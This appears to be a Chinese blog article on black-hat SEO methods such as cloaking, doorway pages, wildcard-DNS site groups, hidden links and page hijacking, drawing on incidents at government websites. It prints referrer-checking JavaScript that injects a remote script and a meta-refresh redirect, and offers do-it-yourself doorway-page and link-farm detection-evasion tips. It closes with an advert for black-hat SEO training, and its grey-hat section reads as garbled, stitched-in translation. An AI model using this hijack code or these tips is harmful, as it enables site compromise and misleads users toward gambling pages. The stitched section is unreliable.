SEO全稱為搜索引擎優化，是指通過站內優化、站外優化等方式，提升搜索引擎收錄排名。既然有seo技術，便會有相應的從業人員，他們被稱為白帽SEO，專指通過公正SEO手法，幫助提升站點排名的專業人員。

當然有白便會有黑，由于白帽SEO優化的過程將會十分漫長，一個新站想要獲取好的排名，往往需要花上幾年時間做優化推廣。因此一些想要快速提升自身網站排名的小伙伴，便開始在SEO上研究作弊手法，從而誕生了黑帽SEO。黑帽SEO是指通過作弊手段，讓站點快速提升排名的一類SEO技術，或者說是黑客技術，比如說：黑鏈（暗鏈）、站群、網站劫持、橋頁等，黑帽SEO能夠快速提升排名，但畢竟是違規作弊行為，容易被K。

此系統文章總共分為四篇，分別是手法篇、工具篇、隱藏篇、總結篇；本篇為黑帽SEO之手法篇，主要介紹黑帽seo的概念以及一些常用的手法?！　?/strong>

插曲：有趣的是，就在前幾天有位朋友詢問了我關于黑帽SEO方面的問題，原因是他一位朋友運營的一個網站，頁面莫名其妙出現了賭博博彩的內容，刪除后又會自動生成，其十分苦難便尋求他幫忙。

SEO的一些黑色手法

黑帽SEO的手法很多，并且在不斷地更新換代，其中最常見的包括利用泛解析做站群，入侵高權重網站掛暗鏈，入侵高權重網站做網頁劫持，篡改高權重網站網頁內容，利用高權重網站二級目錄做推廣頁面，修改nginx配置做目錄反向代理等等。接下來我結合實際案例，介紹一些常用的手段。

斗篷法（Cloaking）

為什么叫斗篷法呢？可能是因為只能看到斗篷，而不能看到真面目的意思吧！斗篷法指站長將一個網頁用兩個不同版本的頁面，一個版本給搜索引擎看，一個版本給用戶瀏覽。而搜索引擎只能看到斗篷。

如果用戶訪問，那返回的可能是一個高大上的頁面，如果是搜索引擎訪問，返回的可能是一個適合優化的頁面。斗篷法基本用在灰色行業或是黑色行業中。橋頁也叫：門頁、跳頁、過渡頁，通常是用軟件自動生成大量包含關鍵詞的網頁，然后從這些網頁做自動轉向到主頁。

目的是希望這些以不同關鍵詞為目標的橋頁在搜索引擎中得到好的排名。當用戶點擊搜索結果的時候，會自動轉到主頁。有的時候是在橋頁上放上一個通往主頁的鏈接，而不自動轉向。大部分情況下，這些橋頁都是由軟件生成的。你可以想象，生成的文字是雜亂無章，沒有什么邏輯的。如果是由人寫出來的真正包含關鍵詞的文章，就不是橋頁了。所謂的橋頁也叫過渡頁，是指一個頁面打開之后會自動（或手動）轉向到別的頁面。（注意：這種方法在baidu里面可以使用，但不要用在google里?。?，我們來看一個html格式的橋頁的全部代碼：

這個頁面打開后會在0秒（由content="0定義時間）內轉向到目標網頁（由meta標簽中的url=">定義轉向的站點），所以大家只要稍加修改，就可以變成你自己的橋頁了。我們為我們的所有商品都建立一個這樣的頁面，每一個頁面里都依次按照我們的商品設置不同的關鍵字，然后依次把這些頁面上傳到你的目錄，比如為上傳后的地址為：......那么我們再依次把這些地址一一的提交給搜索引擎，這樣，當搜索引擎搜索到這些橋頁并被用戶打開后，會馬上轉入到你指定的主頁。這樣的話你的這些產品被搜索到的機會是不是就大大提高了？

對于橋頁的建立，關鍵是還是關鍵字要選擇好，就拿上面那個手機網站的例子來說，我們要依次為每一個關鍵字都要做一個單獨的橋頁，關鍵字要盡量的全。再有，一個關鍵字我們也完全可以做多個內容完全相同但名字一定要不相同的橋頁，并一一的提交給搜索引擎來增加被搜索到的機率。它針對搜索引擎而作，通過根據特定的搜索詞制作一些頁面獲得較好的排名，引導用戶進入主站。有的時候是根據搜索引擎算法制作頁面，迎合搜索引擎算法獲得好的排名。但不管是那一種，它實際上都屬于一種seo作弊行為。

橋頁跳轉方式

1、自動跳轉，就像上面講的，利用自動跳轉代碼，直接跳轉到目標頁，優點：用戶不知道跳轉到了其他頁，比較信任。缺點：容易被搜索引擎發現。

2、手動跳轉，在橋頁上制作藍色顯眼鏈接，引導用戶。優點：不容易被搜索引擎發現，缺點：用戶信任度降低。

利用泛解析建立泛二級域名站群

利用DNS泛解析可以快速建立站群，因為一個一級域名便可以衍生出無數個二級域名，當然一般需要借助站群工具，因為建立站群需要有很多內容不同的頁面，手工建立顯然不可能。而seo人員大費周章地建立站群的目的，便是能夠快速吸引大量的搜索引擎爬蟲，增加網站在搜索引擎中的收錄量。以下是某個泛二級域名站群案例截圖：

需要說明的是，以上截圖中的二級域名并不是通過一條條dns解析記錄去綁定的，解析里面設置的是*，也就是泛解析。而服務器端有程序或者代碼去控制當構造不同的二級域名訪問時，會返回不同的網頁內容，也就讓搜索引擎誤認為每個二級域名都是一個單獨的網站?！　?/p>

泛解析有很多優點，比如對用戶友好（即使輸錯二級域名也能跳轉到目標網站），又能夠更快速地被搜索引擎收錄等?；谶@些優點，很多站長會選擇用此方式來增加網站收錄，然而如果沒有妥善的使用泛解析可能會帶來難以想象的危害。

利用泛解析做黑產

利用泛解析做黑帽seo的方式也有很多種，基于是否需要入侵網站以及dns服務器，我分為入侵法與非入侵法來介紹。

入侵法

真實案例：幾個月前我們發現一個重要政府網站出現了大量博彩頁面，取證截圖如下：

經過分析我發現，此手法利用的便是泛解析，從截圖中可以看到出現了大量此政府網站的二級甚至三級域名，而這些域名都是隨機構造的，訪問后會跳轉到博彩色情等非法頁面，而訪問一級域名又是正常的內容。且先不分析跳轉的過程中用到了哪些技術，單從泛解析記錄就不難看出，此網站被人篡改了dns解析記錄。我們有理由相信，黑客獲取了此域名的dns解析控制權限，并將此域名泛解析到黑客準備好的服務器上。那么黑客這么做的目的很明顯，為了讓搜索引擎快速收錄二級或者三級域名，從而達到引流到非法頁面的目的。　　

我們通過分析此政府網站被入侵特征推導出此事件過程應該是，黑客通過入侵手段獲取到了該政府網站dns解析權限（如何獲取暫不可知），然后通過添加泛解析記錄，將此記錄指向黑客準備好的服務器，而此服務器上有動態語言去實現通過不同二級域名訪問，返回不同的頁面結果功能。由于政府網站本身權重很高，因此二級域名頁面被百度快速收錄，達到為非法頁面引流的目的。這種手法的好處在于不必入侵網站，而只要獲取到域名解析權限即可（當然獲取域名解析權限也并非易事）。

非入侵法

真實案例：幾天前我們發現有一個網站（http://sdddzg.cn）利用泛解析做惡意推廣，查看網站特征后，我們嘗試構造不同的二級域名訪問，取證截圖如下。構造二級域名訪問：

最終返回結果：

可以看到返回結果對網頁內容以及url做了處理，當我們嘗試構造不同的二級域名訪問，發現返回結果內容都不一樣，然而通過獲取ip發現來自同一臺服務器。首先我們不難想到，此域名一定是做了泛解析的，那么它是如何控制網頁內容變化的呢？查看網頁源碼可以看到http://jiang.gov.cn網頁源碼被嵌入到了目標網頁中。

那么其實想要實現此技術也并不難，可以在服務端上用代碼實現。首先通過獲取請求的二級域名地址，然后去訪問該二級域名內容獲取源碼鑲嵌到自己的網頁內。如果構造的二級域名內容不是一個完整的域名地址（如：http://1.sdddzg.cn），則隨機返回一段源碼。這種手法的好處在于不必入侵網站，只需要自己搭建一臺服務器即可，但推廣效果沒有那么好。

利用網站暗鏈

在網頁中植入暗鏈這種手法已經相對落伍了，目前用的也比較少，因為搜索引擎已經能夠對此作弊手法進行檢測。為了介紹知識的完整性，此處我簡單介紹一下。暗鏈也稱為黑鏈，即隱蔽鏈接 hidden links，是黑帽SEO的作弊手法之一。掛暗鏈的目的很簡單，增加網站外鏈，提高網站排名；實現方式主要分為幾種：利用CSS實現、利用JS實現、利用DIV+JS實現等。具體介紹請參考：黑帽SEO之暗鏈

利用高權重網站，構造關鍵詞URL做推廣

真實案例：一年前當我剛研究黑帽SEO的時候發現了一個有趣的黑帽SEO方式，雖然手法比較拙劣老套，但卻也有成效。于是在寫這篇文章的時候，我特意找了一個典型案例，與大家分享，取證截圖如下。

將URL中的參數內容顯示到網頁內，這原本是某些網頁的一種特殊功能。以往的經驗告訴我這種特性如果沒有處理好，可能會引發XSS漏洞，而今我不得不認識到，這種特性也一直被用于黑帽seo。通過在url或者post數據包（常見于搜索框功能）中構造推廣關鍵詞，再將有推廣關鍵詞頁面添加到蜘蛛池中，使搜索引擎收錄就能達到推廣的目的。一般此種手法常被用來推廣qq號，盈利網站等（類似打廣告），而當我們通過搜索引擎搜索某些關鍵詞時（如色情資源），就會顯示出此頁面，從而達到推廣自身賬號或者網站的目的，當然這只是一種推廣手段，并不太涉及引流。

利用網頁劫持引流

網頁劫持，又叫網站劫持或者搜索引擎劫持，是目前黑帽SEO中最流行的一種做法。其原因可以簡單概括為：易收錄、難發現，易收錄表現為搜索引擎尚沒有很好的機制能夠檢測出此作弊手段，網頁劫持手法仍然能夠大量引流。難發現是指網頁劫持手法比較隱蔽，一般非技術人員很難發現它的存在。　　

網頁劫持從手法上可以分為服務端劫持、客戶端劫持、百度快照劫持、百度搜索劫持等等；　　

網頁劫持的表現形式可以是劫持跳轉，也可以是劫持呈現的網頁內容（與直接篡改網頁內容不同），目前被廣泛應用于私服、博彩等暴利行業。

網頁劫持真實案例

幾個月前我處理了一起網頁劫持案列，起因是某政府網站上出現了博彩相關內容（排除新聞頁面），這顯然是不合規的。排除管理員失誤添加導致，恐怕此網站多半是被黑客入侵了。首先我訪問了該記錄上的鏈接，緊接著瀏覽器中出現了一個正常的政府頁面，而也就須臾之間，網頁瞬間又跳轉到了博彩網頁。圖一為正常政府頁面：

圖二為博彩頁面：

可以看到博彩頁面的域名為http://www.0980828.com，顯然不是先前的政府網站域名http://xxxx.gov.cn。看到此現象，再結合多年安全經驗，我大致能夠猜測此網站應該是被網頁劫持了。通過分析以上過程的數據包，不難發現在該網站前端頁面被嵌入了一段非法代碼。

此代碼存放在43.250.75.61服務器上，查看該服務器信息，發現其在日本。

而通過訪問此段代碼，返回內容則是跳轉到http://www.0980828.com網站上。

分析至此，我們不難發現，導致頁面跳轉的原因便是http://xxxx.gov.cn網頁被非法嵌入了一竄代碼，而此代碼能夠控制訪問該網頁時跳轉到博彩頁面。這是搜索引擎劫持最為基礎且常見的一種方式，其變種甚多，類型方式也各異。最后我通過登錄web服務器查看，發現了存在大量html文件被篡改，且都在文件開頭被寫入外部js引用。那么此入侵事件過程應該是，黑客通過web應用程序某些漏洞入侵服務器（實際是管理后臺弱口令+任意文件上傳），通過批量篡改服務器靜態文件實現網頁劫持的目的。網頁劫持的手法非常多，并不是這一個案例就能概括的，更多詳細情況請繼續看下文介紹。

服務端劫持

服務端劫持也稱為全局劫持，此手法為修改網站動態語言文件，判斷訪問來源控制返回內容，從而達到網頁劫持的目的。其特點往往是通過修改asp/aspx/php等后綴名文件，達到動態呈現網頁內容的效果。　　

Global.asa、Global.asax、conn.asp、conn.php等文件比較特殊，作用是在每次執行一個動態腳本的時候，都會先加載該腳本，然后再執行目標腳本。所以只要在 Global.asa 中寫判斷用戶系統信息的代碼（訪問來源等），如果是蜘蛛訪問則返回關鍵詞網頁（想要推廣的網站），如果是用戶訪問則返回正常頁面。

客戶端劫持

客戶端劫持的手法也很多，但最常用的就兩種：js劫持與Header劫持。js劫持目的是通過向目標網頁植入惡意js代碼，控制網站跳轉、隱藏頁面內容、窗口劫持等。js植入手法是可以通過入侵服務器，直接寫入源代碼中；也可以寫在數據庫中，因為有些頁面會呈現數據庫內容。js劫持代碼案例：以下代碼可以使通過搜索引擎搜索的并點擊頁面時，執行一段js并跳轉到博彩頁面；而直接輸入網址訪問網頁時，跳轉到一個404頁面。

today=new Date();
today=today.getYear()+"-"+(today.getMonth()+1)+"-"+today.getDate();
var regexp=/\.(sogou|so|haosou|baidu|google|youdao|yahoo|bing|gougou|118114|vnet|360|ioage|sm|sp)(\.[a-z0-9\-]+){1,2}\//ig;
var where =document.referer;
if(regexp.test(where)){
document.write ('<script language="javascript" type="text/javascript" src="http://www.xxx.com/test.js"></script>');
}
else
{
window.location.href="../../404.htm";
}

代碼分析：通過referer判斷來路，如果referer來路為空就是跳轉到404頁面，如果是搜索引擎來的referer里面也會有顯示，然后在寫代碼控制跳轉。如果只是控制實現顯示不同的內容，可以修改php、asp代碼；如果需要劫持搜索引擎搜索框，可以寫JS代碼來做瀏覽器本地跳轉。當然js功能可以無限擴展，比如可以控制一個ip一天內第一次訪問正常，其余訪問跳轉等等。header劫持，就是在html代碼的head中添加特殊標簽，代碼如下：

<meta http-equiv="refresh" content="10; url=http://thief.one">

header劫持利用的就是Meta Refresh Tag（自動轉向）功能將流量引走。

直接篡改網頁內容（比較低級）

有些黑客在入侵網站后，喜歡直接篡改網頁內容，比如放上自己的qq號，或者作為推廣將網頁篡改成非法頁面。在此我對此做法的黑客表示鄙視，因為這是一種最惡劣最低級的手法。惡劣在于直接篡改網頁內容，可能會導致網站無法挽回的損失；低級在于此手法極易被發現，起不到真正的引流推廣作用。

鏈接農場

鏈接養殖場通常來者不拒，而且這些被搜集的網站通常是互不相關的。鏈接農場是一種被搜索引擎禁止的作弊方式，在正規的SEO中不論制作或者介入鏈接工廠，都會受到懲罰。

舉例說明：某站長建立幾十個甚至上百個簡單的網站（很垃圾的網站），只做幾個關鍵詞（如：seo論壇，seo優化，seo基礎），網站沒有任何的可用信息和有效信息，只是通過互相建立友情鏈接，就能馬上可以短期內排到百度搜索的首頁，提高網站的權重，從而霸占市場，短期內獲得高額利潤。這個技術叫做linkfarm，屬于黑帽技術，這些快速上升的網站也屬于鏈接養殖場，短期內欺騙百度蜘蛛，當百度蜘蛛知悉后，站點基本也就被k了！

特點

1.鏈接農場中存在成百上千的Incoming/Inbound Links（導入鏈接），而且在死亡之前會不斷增加。

2.鏈接農場是雙向鏈接。外部鏈接鏈接到農場網站，農場網站鏈接到外部網站。

3.被鏈接農場鏈接的網站雜亂無章，沒有類目和權重的要求

4.被鏈接農場鏈接的網站在Google搜索時，會在類似結果中出現亂七八糟的不相關網址。

5.鏈接農場有自助或手動的添加鏈接方式。

危害

（1）鏈接農場中的鏈接在權重計算中不予考慮。

（2）鏈接農場鏈接頁面中的權重被降低。

（3）鏈接農場中鏈接頁面本身的重要性被降低。

（4）鏈接農場中的頁面導出鏈接重要性被降低。

（5）鏈接農場中鏈接頁面關鍵詞對用戶來說毫無意義，被搜索引擎認為作弊。鏈接養殖場（Link Farm）與網址導航區別編輯網址導航一般不會要求與你交換鏈接，即不會要求你網站有他們的鏈接；而鏈接養殖場是雙向鏈接，因此如果鏈接養殖場網站或網頁單方面指向你的站點，則對你并沒有任何影響。

運用

1、現在的站群，包括黑豹站群或是市面上主流的站群，都在利用鏈接農場。2、自己養一批站，然后導入鏈接注意一些基本OK

3、大多數的鏈接工廠，一般都是同類型網站、同IP網站相互之間的鏈接，或是IP的C段相同，這樣很容易被K，思路來了，比如做100個站，可以同時租幾個機器，IP段不同，然后10個站一個IP，這樣，相互再換鏈接，被K的機率就小很多。

4、同類型、不同IP之間，應該沒事，比如都是地方新聞網。

利用高權重網站二級目錄

即黑客入侵網站后，在網站二級目錄下創建很多自己做推廣的頁面。為了達到引流的目的黑客往往需要建立大量的二級目錄頁面，因此需要用到寄生蟲程序來自動化的創建頁面。此手法也需要入侵高權重網站，獲取網站服務器權限。與網頁劫持手法不同的是，此手法側重點在于利用高權重網站自身的優勢，在其目錄下創建多個推廣頁面；而網頁劫持側重隱藏自身，其可以做到動態呈現網頁內容給客戶。因此在實際使用中，黑客經常結合兩者使用。此手法與利用泛解析做黑帽seo的手法還是有明顯差異的，雖然同樣是利用高權重網站本身的優勢，但泛解析利用的是二級域名，而此手法利用的是二級目錄，當然兩者有異曲同工之妙?！　?/p>

利用高權重網站二級目錄手法的案例與泛解析案例類似，這里不再詳述。既然我前面提到此手法往往需要寄生蟲程序的配合使用，那么何為寄生蟲程序？它又有何玄機？下篇將會詳細介紹，敬請期待。

雖然黑帽SEO并不違法，但它確實違反了搜索引擎設定的網站管理員指南。換句話說，它仍然違反規則。這意味著如果你參與黑帽SEO，你必須愿意受到一個討厭的懲罰作為懲罰。從搜索引擎獲得懲罰將導致您的網站在搜索結果中下降或更糟糕，它可能會被完全刪除。這意味著您的網站將獲得更少的流量，并最終減少客戶。

灰色的帽子SEO模糊線

你不會找到灰色帽子SEO，但你會發現它在黑色和白色帽子SEO的中間。如果有SEO策略，你很難將其歸類為黑帽或白帽SEO，那么它可能是一種灰帽子技術。

什么是灰帽SEO？

灰色帽子搜索引擎優化包含略帶陰影的SEO策略。雖然他們并不反對搜索引擎禁止的做法，但他們有點不道德。

灰色的帽子SEO線程接近黑帽SEO的線?；颐盨EO技術通常不會被列為網站站長指南中的禁止做法，但它們有點可疑。隨著時間的推移，許多灰帽SEO的做法已經成為黑帽SEO的做法

其實當在寫這篇文章前，我思索著盡量能夠全面地介紹黑帽SEO知識以及手法。當開始寫這篇文章的時候，我便有點無從下手，因為涉及知識面太廣，手法又非常豐富，而當我寫完這篇文章的時候，我覺得這一切才剛剛開始。

希望本文對你有所幫助

最后，如果你對SEO優化感興趣

黑帽WiKi(www.790079.com),8年黑帽SEO優化技術,黑帽seo快速排名,黑帽SEO技術培訓學習,黑帽SEO快速排名程序、泛目錄、寄生蟲技術,贈送免費黑帽SEO視頻教程

掃一下添加微信：